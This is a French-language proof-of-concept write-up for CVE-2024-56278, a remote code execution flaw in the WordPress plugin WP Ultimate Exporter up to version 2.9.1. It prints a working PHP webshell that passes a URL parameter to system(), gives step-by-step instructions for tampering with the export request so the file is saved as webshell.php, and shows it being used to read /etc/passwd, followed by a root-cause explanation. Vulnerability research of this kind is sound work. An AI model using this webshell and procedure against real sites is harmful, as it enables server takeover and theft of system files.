
Preuve de concept pour CVE-2024-56278, une vulnérabilité d'exécution de code à distance dans le plugin WordPress WP Ultimate Exporter, démontrant le téléchargement de fichier vers un webshell PHP.
Plugin WordPress
Nom du composant WP Ultimate Exporter
Version vulnérable <= 2.9.1
Slug du composant wp-ultimate-exporter
Lien du composant https://wordpress.org/plugins/wp-ultimate-exporter/
Classe de vulnérabilité A4 : Conception non sécurisée
Type de vulnérabilité Exécution de code à distance (RCE)
Administrateur
Le plugin WP Ultimate Exporter est un module complémentaire du plugin WP Ultimate CSV Importer. Ce plugin permet d'exporter toutes les données des articles, produits, commandes, remboursements et utilisateurs aux formats CSV, XLS, XML et JSON. Lors de l'exportation, des fichiers sont créés dans le chemin de téléversement, et le plugin ne fait que fournir le contenu de ces fichiers aux utilisateurs.
Dans les versions 2.9.1 et antérieures du plugin WP Ultimate Exporter, lors d'une demande d'exportation de données, si l'extension de fichier dans les données de la requête est définie sur PHP, un fichier PHP est créé dans le chemin de téléversement. Par conséquent, si le contenu du fichier créé contient une syntaxe PHP, une vulnérabilité d'exécution de code à distance (RCE) se produit lorsque la syntaxe PHP est exécutée lors de l'accès à ce fichier.
⚠️ Étant donné que le plugin « WP Ultimate Exporter » est un module complémentaire du plugin « WP Ultimate CSV Importer », les deux plugins doivent être installés.
Créez un nouvel article à l'aide de l'éditeur de code (raccourci clavier : ⇧ ⌥ ⌘ M) avec le contenu suivant :
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Accédez à l'onglet « Export » du plugin WP Ultimate Exporter. Celui-ci est accessible en cliquant sur l'onglet « Export » dans le tableau de bord du plugin WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).
Lancez un outil proxy (par exemple, BurpSuite) pour intercepter les paquets de requêtes, puis poursuivez les étapes suivantes avec l'interception activée.
Ensuite, sélectionnez « Posts » dans « Select the module to Export Data » et passez à l'étape suivante.

Export File Name Saisissez « webshell »Advanced Settings Sélectionnez « CSV »
/wp-admin/admin-ajax.php pour exporter les données. Modifiez la valeur exp_type dans les données de la requête de csv à php, puis cliquez sur Forward.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd dans la barre d'adresse du navigateur pour afficher le contenu du fichier /etc/passwd sur le serveur où WordPress est installé. Cela démontre la vulnérabilité RCE.
Lors de l'exportation des données dans le plugin WP Ultimate Exporter, la fonction parseData du fichier /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php est appelée.
À ce stade, aucun filtrage n'est effectué sur les données de la requête exp_type qui déterminent le format des données d'exportation, et la valeur est directement insérée dans la variable membre $this->exportType.

Ensuite, la fonction proceedExport est appelée pour enregistrer les données dans un fichier. À ce stade, lors de l'initialisation de la variable $file qui spécifie le chemin de stockage du fichier, la variable membre $this->exportType est également utilisée sans aucun filtrage.

Ensuite, le chemin du fichier stocké dans la variable $file est transmis comme argument à la fonction file_put_contents, et à ce stade, le fichier est enregistré avec l'extension spécifiée dans les données de la requête exp_type étant directement appliquée.

Par conséquent, lorsque des données d'article contenant du code Web Shell sont enregistrées sous forme de fichier PHP et que ce fichier est consulté, une vulnérabilité d'exécution de code à distance (RCE) se produit car le code PHP est exécuté.


Saisissez ensuite la commande suivante pour exécuter le code PoC.
Module requisrequests
python poc.py
